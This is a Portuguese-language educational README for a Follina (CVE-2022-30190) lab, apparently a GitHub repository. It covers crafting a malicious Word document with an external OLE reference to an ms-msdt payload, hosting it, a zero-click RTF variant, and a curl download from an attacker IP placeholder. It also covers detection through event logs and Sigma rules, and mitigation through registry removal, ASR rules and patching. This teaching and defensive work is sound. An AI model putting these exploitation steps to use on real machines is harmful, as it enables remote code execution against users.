muhammad-ali007/follina_msdt_cve-2022-30190Exploit educacional para CVE-2022-30190 (Follina) demonstrando execução remota de código MSDT através de documentos maliciosos do Office, com orientações de detecção e mitigação.
A Microsoft explica que “existe uma vulnerabilidade de execução remota de código quando o MSDT é chamado usando o protocolo URL de um aplicativo chamador, como o Word. Um invasor que explore com sucesso essa vulnerabilidade pode executar código arbitrário com os privilégios do aplicativo chamador. O invasor pode então instalar programas, visualizar, alterar ou excluir dados, ou criar novas contas no contexto permitido pelos direitos do usuário”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
A Microsoft afirma que “a Ferramenta de Diagnóstico de Suporte da Microsoft (MSDT) coleta informações para enviar ao Suporte da Microsoft. Eles então analisarão essas informações e as usarão para determinar a resolução de quaisquer problemas que você possa estar enfrentando em seu computador”. Com isso em mente, é essencialmente uma maneira de o Suporte da Microsoft ver imediatamente o que está errado, pois está obtendo todas as informações necessárias diretamente da fonte.
Explicação do Exploit
Vamos começar com um aviso: para nossos propósitos, carregaremos nosso payload através de um documento do Word, particularmente no formato .docx - este é o exploit original que foi descoberto em estado selvagem. No entanto, essa vulnerabilidade já foi comprovada como funcionando em vários outros produtos do Office.
Dois aspectos importantes dessa vulnerabilidade são: 1 - arquivos docx específicos contêm referências a OLE (originalmente abreviação de Object Linking and Embedding) e, às vezes, elas assumem a forma de arquivos HTML hospedados em outro lugar. 2 - MS-MSDT permite execução de código.
Combinando os dois aspectos acima, um esquema HTML MS-MSDT pode ser usado para executar código PowerShell, e um arquivo docx pode ser usado para carregá-lo através da capacidade de referência externa do Word.
Mais especificamente, aprofundando na estrutura do docx, o arquivo "word/_rels/document.xml.rels" tem uma tag XML <Relationship> com um atributo Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" que descreve uma referência oleObject externa. Para explorar esse recurso do docx, podemos editar o conteúdo desta tag para apontar para o payload que estamos hospedando, alterando o valor de para e o valor de para .
Targethttp://<external_payload_server.com>/<payload.html>TargetMode"External"No arquivo word/document.xml, há uma tag XML que começa com <o:OLEObject...> na qual devemos alterar o valor de Type para "Link" e, em seguida, adicionar o par chave-valor UpdateMode="OnCall".
A única coisa que resta a fazer agora é hospedar o payload ao qual o arquivo do Word se conectará e receberá instruções ao abrir o arquivo. Isso é feito criando um arquivo HTML com uma estrutura semelhante à seguinte:
No conteúdo acima do arquivo HTML, você notará o comando ms-msdt:/id PCWDiagnostic /skip force /param, juntamente com as opções de comando que você pode usar para definir o comando a ser executado na máquina de destino. Você pode então misturar e combinar o payload de acordo com seus propósitos.
Assim, agora temos uma maneira de alcançar a execução remota de código sem tocar em nenhuma macro e, como veremos mais adiante, sem sequer abrir o documento malicioso.
Foco do Exploit Publicamente Disponível (https://github.com/JohnHammond/msdt-follina) John Hammond criou uma ferramenta para automatizar o processo de criação de um documento malicioso (maldoc) e, consequentemente, hospedar o arquivo HTML malicioso que contém o comando malicioso. A ferramenta está documentada no link acima, e usaremos uma versão bifurcada (fork) dela para entender melhor o conceito do exploit mencionado anteriormente.
Abra um terminal, clone este repositório e mude seu diretório de trabalho para onde o repositório msdt-follina foi clonado. root@host:~/Follina-MSDT# python3 follina.py
Ao iniciar o exploit, você já deve estar hospedando o arquivo, então está pronto para ser "entregue" à máquina da vítima. Mantendo o terminal original aberto, abra outro terminal e digite o seguinte comando para hospedar os arquivos em um servidor: root@host:~/Follina-MSDT# python -m http.server 3456
Na máquina de destino, abra um prompt de comando e digite o seguinte comando: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Isso baixa o maldoc em nossa máquina e, logo em seguida, você deve ver o arquivo do Word chamado follina.docx aparecer na Área de Trabalho, pronto para ser executado. Quando estiver pronto, abra o arquivo e observe o que acontece. Por enquanto, vamos permitir que o maldoc e tudo o que ele gerou continuem sendo executados.
Implementação "Zero Click"
Para replicar a implementação "zero click" desta vulnerabilidade, simplesmente vamos ao arquivo do Word malicioso, adicionamos uma mensagem bonitinha (completamente opcional), salvamos no Formato Rich Text (RTF) e pronto. Esta implementação pressupõe que a máquina da vítima esteja na visualização do painel de visualização, caso contrário, reverterá para a funcionalidade original que ainda será executada ao abrir o arquivo.
Abra o explorador de arquivos e navegue até a pasta Área de Trabalho. Lá você verá o arquivo aparentemente honesto que criamos e que precisa ser clicado; clique nele uma vez, tomando cuidado para não abri-lo de fato, e veja o que acontece.
Apesar de não abrir o arquivo de fato, o exploit foi executado da mesma forma que antes neste exercício. Isso aconteceu devido a dois recursos principais: 1 - o recurso do Explorador de Arquivos de visualizar arquivos antes de abri-los. 2 - o RTF, que permite que arquivos de documento sejam visualizados no Explorador de Arquivos antes de serem abertos (entre outros propósitos).
Combinar os dois e depois abusar deles resulta em um vetor de ataque que acabamos de testemunhar agora.
Detecção e Mitigação Caça a ameaças:
A máquina Windows que usamos para estudar a exploração da vulnerabilidade foi pré-configurada para ter o registro ativado para:
Esses mecanismos de auditoria não são configurados por padrão e, portanto, é imperativo que sejam ativados em seus próprios ambientes para ajudar na detecção de comportamentos suspeitos e para manter dados valiosos disponíveis para examinadores forenses.
Durante o processo anterior, identificamos uma série de criações de processo interessantes durante a exploração da vulnerabilidade. Essas criações de processo são registradas nos Logs de Segurança do Windows, prontas para serem analisadas através do seu visualizador favorito, ou encaminhadas para um coletor de logs centralizado para serem processadas e posteriormente usadas.
Para esta tarefa, usaremos o Event Log Viewer for Windows da Nirsoft para verificar as criações de processo que identificamos anteriormente. Em seguida, procuraremos detalhes dentro dessas criações de processo que possamos usar para encontrar pistas em outros logs de eventos que expliquem melhor o que aconteceu nos bastidores.
Abra o FullEventLogView. Vá em View > Use Quick Filter. Uma barra de pesquisa deve aparecer no topo dos logs, permitindo-nos fazer pesquisas rápidas. Como queremos verificar os detalhes de nossas criações de processo, podemos clicar no menu suspenso mais à esquerda e escolher Find Event ID (space/comma...), e digitar 4688 na barra de pesquisa fornecida.
A tela deve ser preenchida com eventos de Criação de Processo e você notará imediatamente que há uma tonelada deles, apesar da interação mínima com a máquina.
O primeiro artefato que verificaremos é winword.exe - entender o fluxo de eventos a partir deste processo nos dá uma ideia de como um processo do Office, em geral, se comportará no contexto de uma exploração msdt. Pressione Ctrl+F para abrir uma função Find e digite winword.
A primeira entrada que você provavelmente verá é aquela em que WINWORD.EXE é o novo processo sendo criado, identificado pelo detalhe: New Process Name. Este processo marca a abertura do arquivo follina.docx, via o detalhe: Process Command Line. É completamente normal que não pareça exatamente igual. Clique no botão Find Next até encontrar uma entrada que pareça um longo comando "ms-msdt" (powershell).
Aqui veremos que WINWORD.EXE é o Creator Process, mais comumente conhecido como o Processo Pai de msdt.exe. Observe a longa entrada de linha de comando que contém vários cmdlets do PowerShell (pronunciados “comand-letes”), bem como várias travessias de diretório. Ver isso, por si só, em seu ambiente deve levantar bandeiras vermelhas imediatas. Um nugget gratuito que podemos observar de perto aqui é a string Y2FsYw== que, quando decodificada, resultaria na string calc.
Como vimos cmdlets do PowerShell, faria sentido filtrarmos os eventos do PowerShell para verificar essa pista ainda mais. Como há muitos IDs de evento únicos que registram eventos do PowerShell, podemos filtrar por Provider. Vá em Options > Advanced Options. Clique no segundo menu suspenso e selecione Show only the specific providers (comma-delimited...). Digite PowerShell entre asteriscos (*) para que todos os provedores relacionados ao PowerShell sejam incluídos.
Limpe a caixa "Quick Filter" do 4688 que inserimos anteriormente, e a tela deve ser preenchida com eventos que vêm exclusivamente de provedores do PowerShell. A partir daqui, podemos filtrar os eventos por parte do comando PowerShell que anotamos acima.
Ao chegar neste evento, podemos fechar a função find e prosseguir para seguir a trilha deste texto de ScriptBlock; você pode navegar para o próximo evento pressionando a tecla para baixo no teclado, ou clicando manualmente no evento. Explorar os eventos imediatos que seguem este texto de ScriptBlock mostrará a execução passo a passo do calc na perspectiva do PowerShell.
Disponibilidade de regras Sigma: O Engenheiro de Detecção da Huntress, Matthew Brennan, criou uma regra sigma para detectar execuções suspeitas do MSDT no ambiente, e a melhor coisa sobre ela é que ela continua sendo atualizada sempre que a comunidade descobre algo novo.
A regra sigma pode ser encontrada aqui (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) é uma ferramenta útil que ajuda a converter regras sigma em consultas que podem ser usadas imediatamente em um SIEM de sua escolha.
Ao caçar explorações do MSDT no ambiente, você pode optar por usar a regra sigma como um mecanismo de detecção para ambos:
O MSDT também usa outro binário (https://twitter.com/KyleHanslovan/status/1531114931973767168) para canalizar execuções e, portanto, processos filhos suspeitos com ele como pai devem ser observados e investigados mais a fundo. A informação "redigida" acima é uma resposta a uma pergunta na tarefa anterior – verifique por conta própria, se quiser.
Leitura adicional: Detecting Follina: Microsoft Office remote code execution zero-day (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Antivírus / Windows Defender: Vários produtos Microsoft Defender possuem mecanismos de detecção implementados, e nosso confiável Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) nos fornece uma lista deles.
Remediação
O patch para esta vulnerabilidade está nas Atualizações Cumulativas de Junho de 2022 do Windows. É imperativo que os usuários instalem essas atualizações para ficarem protegidos contra a vulnerabilidade. Você pode fazer isso manualmente de vez em quando, o que não é muito eficiente e sujeito a esquecimento, ou pode optar por automatizar a verificação e instalação de atualizações.
Desabilitar o Protocolo MSDT URL: Antes de o patch ser introduzido, as equipes de segurança correram para que os administradores de TI de suas organizações desabilitassem imediatamente o Protocolo MSDT URL. Ao desabilitar o Protocolo MSDT URL, os solucionadores de problemas não serão iniciados como links e, portanto, o ms-msdt não poderá ser chamado pelo Office. Para desabilitar o protocolo, execute primeiro um prompt de comando como administrador: C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
A esta altura, você deve ter notado que estamos sempre mudando nosso diretório de trabalho para a Área de Trabalho – é para que possamos ver imediatamente as mudanças que nossos comandos estão introduzindo no ambiente: a criação de arquivos é bastante perceptível. No entanto, não é de forma alguma a melhor prática a ser seguida em qualquer ambiente.
O primeiro comando reg query que introduzimos é uma verificação rápida de que a chave existe. Em seguida, o reg export exporta nossa chave para um arquivo para que possamos reintegrá-la ao sistema posteriormente, quando a Microsoft lançar uma correção mais permanente para esta vulnerabilidade. O arquivo exportado é salvo no diretório de trabalho atual – no nosso caso, a Área de Trabalho. O comando reg delete é o comando que realmente desabilita o Protocolo MSDT URL, principalmente porque o remove completamente do sistema. O comando reg query final é uma verificação confirmatória de que a chave não existe mais.
Ao desabilitar o Protocolo MSDT URL em nossa máquina Windows, vamos tentar acionar o exploit novamente e ver como isso afeta a máquina. Esta é uma boa maneira de verificar se nossos controles seriam capazes de detectar ataques, independentemente de serem bem-sucedidos ou não.
Redução de Superfície de Ataque (ASR): Se você estiver usando o Microsoft Defender for Endpoint em seu ambiente, habilite a regra ASR Bloquear todos os aplicativos do Office de criar processos filhos. Criar processos filhos a partir de serviços que não deveriam estar fazendo isso é um tema comum entre malwares. Leitura adicional: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Finalmente, alguns processos de remediação que são diretos e facilmente implantáveis foram o método escolhido para encerrar este tópico. A Microsoft já lançou um patch que bloqueia a injeção do PowerShell, efetivamente desabilitando esse vetor de ataque.